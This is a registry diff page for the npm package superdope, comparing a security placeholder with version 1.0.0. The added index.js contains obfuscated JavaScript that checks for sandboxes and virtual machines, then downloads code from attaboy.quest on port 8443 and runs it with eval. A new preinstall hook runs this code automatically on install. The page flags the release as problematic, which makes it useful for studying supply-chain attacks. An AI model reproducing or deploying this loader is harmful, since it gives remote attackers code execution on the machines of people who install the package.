superdope 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of superdope might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox1246dc=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox1246dc[0x0]);const https=require(__Ox1246dc[0x1]);function checkNetwork(_0x2945x4){https[__Ox1246dc[0x7]](__Ox1246dc[0x4],(_0x2945x6)=>{if(_0x2945x6[__Ox1246dc[0x5]]=== 200){_0x2945x4(null,true)}else {_0x2945x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x2945x6[__Ox1246dc[0x5]]+__Ox1246dc[0x6])))}})[__Ox1246dc[0x3]](__Ox1246dc[0x2],(_0x2945x5)=>{_0x2945x4(_0x2945x5)})}function checkCPUCores(_0x2945x8){const _0x2945x9=os[__Ox1246dc[0x9]]()[__Ox1246dc[0x8]];if(_0x2945x9< _0x2945x8){return false}else {return true}}function checkMemory(_0x2945xb){const _0x2945xc=os[__Ox1246dc[0xa]]()/ (1024* 1024* 1024);const _0x2945xd=os[__Ox1246dc[0xb]]()/ (1024* 1024* 1024);if(_0x2945xc- _0x2945xd< _0x2945xb){return false}else {return true}}function checkUptime(_0x2945xf){const _0x2945x10=os[__Ox1246dc[0xc]]()* 1000;return _0x2945x10> _0x2945xf}function checkVirtualMachine(){const _0x2945x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x2945x13=/^08:00:27/;const _0x2945x14=/^00:03:ff/;const _0x2945x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x2945x16=os[__Ox1246dc[0xd]]();const _0x2945x17=Object[__Ox1246dc[0x11]](_0x2945x16)[__Ox1246dc[0x10]]()[__Ox1246dc[0xe]](({_0x2945x19})=>{return !_0x2945x19})[__Ox1246dc[0xf]](({_0x2945x18})=>{return _0x2945x18})[__Ox1246dc[0xe]](Boolean);for(const _0x2945x18 of _0x2945x17){if(_0x2945x15[__Ox1246dc[0x13]]((_0x2945x1a)=>{return _0x2945x1a[__Ox1246dc[0x12]](_0x2945x18)})|| _0x2945x13[__Ox1246dc[0x12]](_0x2945x18)|| _0x2945x14[__Ox1246dc[0x12]](_0x2945x18)|| _0x2945x12[__Ox1246dc[0x13]]((_0x2945x1a)=>{return _0x2945x1a[__Ox1246dc[0x12]](_0x2945x18)})){console[__Ox1246dc[0x15]](__Ox1246dc[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox1246dc[0x16],__Ox1246dc[0x17]];function isHostnameValid(){const _0x2945x1d=os[__Ox1246dc[0x18]]();for(let _0x2945x1e=0;_0x2945x1e< disallowedHostPrefixes[__Ox1246dc[0x8]];_0x2945x1e++){if(_0x2945x1d[__Ox1246dc[0x19]](disallowedHostPrefixes[_0x2945x1e])){return false}};return true}function startApp(){checkNetwork((_0x2945x5,_0x2945x20)=>{if(!_0x2945x5&& _0x2945x20){}else {if(_0x2945x5&& _0x2945x5[__Ox1246dc[0x1a]]=== __Ox1246dc[0x1b]){process[__Ox1246dc[0x1c]](1)}else {process[__Ox1246dc[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox1246dc[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox1246dc[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox1246dc[0x1c]](1)};if(checkVirtualMachine()){process[__Ox1246dc[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox1246dc[0x1c]](1)};const _0x2945x21={hostname:__Ox1246dc[0x1d],port:8443,path:__Ox1246dc[0x1e],method:__Ox1246dc[0x1f]};const _0x2945x22=https[__Ox1246dc[0x22]](_0x2945x21,(_0x2945x6)=>{let _0x2945x23=__Ox1246dc[0x6];_0x2945x6[__Ox1246dc[0x3]](__Ox1246dc[0x20],(_0x2945x24)=>{_0x2945x23+= _0x2945x24});_0x2945x6[__Ox1246dc[0x3]](__Ox1246dc[0x21],()=>{eval(_0x2945x23)})});_0x2945x22[__Ox1246dc[0x3]](__Ox1246dc[0x2],(_0x2945x25)=>{});_0x2945x22[__Ox1246dc[0x21]]()}startApp();;;(function(_0x2945x26,_0x2945x27,_0x2945x28,_0x2945x29,_0x2945x2a,_0x2945x2b){_0x2945x2b= __Ox1246dc[0x23];_0x2945x29= function(_0x2945x2c){if( typeof alert!== _0x2945x2b){alert(_0x2945x2c)};if( typeof console!== _0x2945x2b){console[__Ox1246dc[0x24]](_0x2945x2c)}};_0x2945x28= function(_0x2945x2d,_0x2945x26){return _0x2945x2d+ _0x2945x26};_0x2945x2a= _0x2945x28(__Ox1246dc[0x25],_0x2945x28(_0x2945x28(__Ox1246dc[0x26],__Ox1246dc[0x27]),__Ox1246dc[0x28]));try{_0x2945x26= __encode;if(!( typeof _0x2945x26!== _0x2945x2b&& _0x2945x26=== _0x2945x28(__Ox1246dc[0x29],__Ox1246dc[0x2a]))){_0x2945x29(_0x2945x2a)}}catch(e){_0x2945x29(_0x2945x2a)}})({})
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "superdope",
|
3
|
-
"version": "0.0
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=superdope for more information.
|